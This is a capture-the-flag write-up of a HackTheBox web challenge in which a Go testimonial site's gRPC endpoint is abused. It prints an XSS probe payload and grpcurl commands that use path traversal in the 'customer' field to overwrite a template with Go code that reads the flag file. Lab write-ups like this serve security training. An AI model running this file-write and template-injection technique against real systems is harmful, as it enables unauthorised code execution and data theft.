Testimonial
Personal Rating: Hard
This challenge was solved together in the CTF team of three people and I had a hard time with it.
The first port shows a website

Below you can submit your testimonials.
The site is written in go.
The second port does not seem to have a website. Connecting with nc displays an @ but nothing more so far
There is no cookie for the site.
In the file client.go we have some interesting information:


We can see that some characters are blacklisted for the testimonial input and we have a gRPC API that is likely at the second port
With this command I could find an XSS payload:
python3 xsser -u 'http://94.237.63.46:32241' -g '/?testimonial=XSS&customer=sex' --Ind
%250AExpect%3A%2520%253Cscript%253Ealert%28%25222d73913dc887722cdb87445d44fa0123%2522%29%253C%2Fscript%253E
This did not work. I had a look at the source code again and wrote comments to understand it better.
We know that we have a second port with a grpc server, so we can likely make grpc calls to that. My first idea was to read the flag directly, but a friend told me that this wouldnt work as the response is hard coded:
ptypes.proto
service RickyService {
rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}
grpc.go
return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
But since we have the website, we can make the website show what we want by editing the website or writing a file to public/testimonials. This is what I will try.
grpcurl -plaintext 83.136.254.221:56531 list
Failed to list services: server does not support the reflection API
grpcurl -plaintext 83.136.254.221:56531 SubmitTestimonial
Error invoking method "SubmitTestimonial": given method name "SubmitTestimonial" is not in expected format: 'service/method' or 'service.method'
grpcurl -plaintext 83.136.254.221:56531 RickyService.SubmitTestimonial
Error invoking method "RickyService.SubmitTestimonial": failed to query for service descriptor "RickyService": server does not support the reflection API
I created a file poc.proto that contains the content of the servers ptype.proto
grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 list RickyService.SubmitTestimonial
Failed to list methods for service "RickyService.SubmitTestimonial": Service not found: RickyService.SubmitTestimonial
grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 list
RickyService
grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 list RickyService
RickyService.SubmitTestimonial
grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 RickyService.SubmitTestimonial
ERROR:
Code: Unknown
Message: Name is required
grpcurl -plaintext -proto ./poc.proto -d '{"customer":"testc","testimonial":"sees"}' 83.136.254.221:56531 RickyService.SubmitTestimonial
{
"message": "Testimonial submitted successfully"
}

Nice, this worked
grpcurl -plaintext -proto ./poc.proto -d '{"customer":"public/testimonials/aua.txt","testimonial":"sees"}' 83.136.254.221:56531 RickyService.SubmitTestimonial
ERROR:
Code: Unknown
Message: open public/testimonials/public/testimonials/aua.txt: no such file or directory
The webserver has predefined directory listing, but no active listing, so changes to files are not reflected when trying to read them in the browser. This reduces the attack surface a lot. The only thing we could change that gets reflected is the index.templ. Luckily, we can execute
This function in home.go determines that the index template is reloaded each time a request, as you can see below at
return home.Index().Render(r.Context(), w)

Above you can see that the folder htbchal/view/home is imported and below the "Index" template is loaded from "home"
Since we can only edit the template with our grpc call, but not any random file, I will do so. This is useful because the template contains go code. We can edit the go code in the template to read the files in the directory above instead of in public/testimonials as it would usually do. This way we can read the flag at ../flag.txt and it is output at the website, because all files at the given directory are read and their content is written to the website with the filename as name.
Original

Edit

Since I could not send this with grpcurl, I used grpcui, which makes this way easier


Reloading the page now:

HTB{w34kly_t35t3d_t3mplate5}
Last updated